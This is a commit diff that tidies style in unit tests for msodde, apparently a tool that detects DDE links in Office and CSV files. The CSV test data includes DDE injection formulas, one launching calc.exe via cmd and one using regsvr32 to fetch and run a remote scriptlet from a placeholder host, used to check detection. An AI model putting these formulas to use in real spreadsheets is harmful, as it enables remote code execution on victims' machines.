Commit 3977c68cd08e2713edfba054045f8d5270ef2a26
1 parent
59a85138
unittests: make pylint and pep8 a bit happier
They actually found a few \ in strings I had overlooked
Showing
3 changed files
with
25 additions
and
17 deletions
tests/msodde/test_basic.py
| ... | ... | @@ -17,11 +17,13 @@ from traceback import print_exc |
| 17 | 17 | |
| 18 | 18 | |
| 19 | 19 | class TestReturnCode(unittest.TestCase): |
| 20 | + """ check return codes and exception behaviour (not text output) """ | |
| 20 | 21 | |
| 21 | 22 | def test_valid_doc(self): |
| 22 | 23 | """ check that a valid doc file leads to 0 exit status """ |
| 23 | - for filename in ('dde-test-from-office2003', 'dde-test-from-office2016', | |
| 24 | - 'harmless-clean', 'dde-test-from-office2013-utf_16le-korean'): | |
| 24 | + for filename in ( | |
| 25 | + 'dde-test-from-office2003', 'dde-test-from-office2016', | |
| 26 | + 'harmless-clean', 'dde-test-from-office2013-utf_16le-korean'): | |
| 25 | 27 | self.do_test_validity(join(BASE_DIR, 'msodde', |
| 26 | 28 | filename + '.doc')) |
| 27 | 29 | |
| ... | ... | @@ -65,9 +67,9 @@ class TestReturnCode(unittest.TestCase): |
| 65 | 67 | except Exception: |
| 66 | 68 | have_exception = True |
| 67 | 69 | print_exc() |
| 68 | - except SystemExit as se: # sys.exit() was called | |
| 69 | - return_code = se.code | |
| 70 | - if se.code is None: | |
| 70 | + except SystemExit as exc: # sys.exit() was called | |
| 71 | + return_code = exc.code | |
| 72 | + if exc.code is None: | |
| 71 | 73 | return_code = 0 |
| 72 | 74 | |
| 73 | 75 | self.assertEqual(expect_error, have_exception or (return_code != 0), |
| ... | ... | @@ -77,9 +79,13 @@ class TestReturnCode(unittest.TestCase): |
| 77 | 79 | |
| 78 | 80 | |
| 79 | 81 | class TestDdeLinks(unittest.TestCase): |
| 82 | + """ capture output of msodde and check dde-links are found correctly """ | |
| 80 | 83 | |
| 81 | 84 | def get_dde_from_output(self, capturer): |
| 82 | - """ helper to read dde links from captured output """ | |
| 85 | + """ helper to read dde links from captured output | |
| 86 | + | |
| 87 | + duplicate in tests/msodde/test_csv | |
| 88 | + """ | |
| 83 | 89 | have_start_line = False |
| 84 | 90 | result = [] |
| 85 | 91 | for line in capturer: |
| ... | ... | @@ -90,7 +96,7 @@ class TestDdeLinks(unittest.TestCase): |
| 90 | 96 | elif line == 'DDE Links:': |
| 91 | 97 | have_start_line = True |
| 92 | 98 | |
| 93 | - self.assertTrue(have_start_line) # ensure output was complete | |
| 99 | + self.assertTrue(have_start_line) # ensure output was complete | |
| 94 | 100 | return result |
| 95 | 101 | |
| 96 | 102 | def test_with_dde(self): | ... | ... |
tests/msodde/test_blacklist.py
| ... | ... | @@ -39,8 +39,8 @@ EXAMPLES_MATCH = ( |
| 39 | 39 | r'ADVANCE \x 150', |
| 40 | 40 | r'AUTHOR', |
| 41 | 41 | r'AUTHOR "Tony Caruso"', |
| 42 | - r'BIBLIOGRAPHY \l 1033', # note: the original example has "/l 1033" | |
| 43 | - r'CITATION Ecma01 \l 1033', # note: this also. Hope this is just a typo | |
| 42 | + r'BIBLIOGRAPHY \l 1033', # note: the original example has "/l 1033" | |
| 43 | + r'CITATION Ecma01 \l 1033', # note: this also. Hope this is just a typo | |
| 44 | 44 | r'COMMENTS', |
| 45 | 45 | r'COMMENTS "I came, I saw, I was not impressed."', |
| 46 | 46 | r'CREATEDATE', |
| ... | ... | @@ -228,6 +228,7 @@ EXAMPLES_NOMATCH = ( |
| 228 | 228 | r'SKIPIF MERGEFIELD Order < 100', |
| 229 | 229 | ) |
| 230 | 230 | |
| 231 | + | |
| 231 | 232 | class TestBlacklist(unittest.TestCase): |
| 232 | 233 | """ Tests msodde blacklist feature """ |
| 233 | 234 | ... | ... |
tests/msodde/test_csv.py
| ... | ... | @@ -21,7 +21,7 @@ class TestCSV(unittest.TestCase): |
| 21 | 21 | """ write some sample texts to file, run those """ |
| 22 | 22 | SAMPLES = ( |
| 23 | 23 | "=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''", |
| 24 | - "=MSEXCEL|'\\..\\..\\..\Windows\System32\regsvr32 /s /n /u " + | |
| 24 | + "=MSEXCEL|'\\..\\..\\..\\Windows\\System32\regsvr32 /s /n /u " + | |
| 25 | 25 | "/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''", |
| 26 | 26 | "completely innocent text" |
| 27 | 27 | ) |
| ... | ... | @@ -32,13 +32,11 @@ class TestCSV(unittest.TestCase): |
| 32 | 32 | PREFIXES = ('', '{quote}item-before{quote}{delim}', |
| 33 | 33 | '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR, |
| 34 | 34 | '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR + |
| 35 | - '{quote}item-before{quote}{delim}', | |
| 36 | - ) | |
| 35 | + '{quote}item-before{quote}{delim}') | |
| 37 | 36 | SUFFIXES = ('', '{delim}{quote}item-after{quote}', |
| 38 | 37 | '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR, |
| 39 | 38 | '{delim}{quote}item-after{quote}' + |
| 40 | - '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR, | |
| 41 | - ) | |
| 39 | + '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR) | |
| 42 | 40 | |
| 43 | 41 | for sample_core in SAMPLES: |
| 44 | 42 | for prefix in PREFIXES: |
| ... | ... | @@ -78,7 +76,7 @@ class TestCSV(unittest.TestCase): |
| 78 | 76 | links = self.get_dde_from_output(capturer) |
| 79 | 77 | self.assertEqual(len(links), 1) |
| 80 | 78 | self.assertEqual(links[0], |
| 81 | - "cmd '/k \..\..\..\Windows\System32\calc.exe'") | |
| 79 | + r"cmd '/k \..\..\..\Windows\System32\calc.exe'") | |
| 82 | 80 | |
| 83 | 81 | def write_and_run(self, sample_text): |
| 84 | 82 | """ helper for test_texts: save text to file, run through msodde """ |
| ... | ... | @@ -114,7 +112,10 @@ class TestCSV(unittest.TestCase): |
| 114 | 112 | filename = None # just in case |
| 115 | 113 | |
| 116 | 114 | def get_dde_from_output(self, capturer): |
| 117 | - """ helper to read dde links from captured output """ | |
| 115 | + """ helper to read dde links from captured output | |
| 116 | + | |
| 117 | + duplicate in tests/msodde/test_basic | |
| 118 | + """ | |
| 118 | 119 | have_start_line = False |
| 119 | 120 | result = [] |
| 120 | 121 | for line in capturer: |
| ... | ... | @@ -127,7 +128,7 @@ class TestCSV(unittest.TestCase): |
| 127 | 128 | elif line == 'DDE Links:': |
| 128 | 129 | have_start_line = True |
| 129 | 130 | |
| 130 | - self.assertTrue(have_start_line) # ensure output was complete | |
| 131 | + self.assertTrue(have_start_line) # ensure output was complete | |
| 131 | 132 | return result |
| 132 | 133 | |
| 133 | 134 | ... | ... |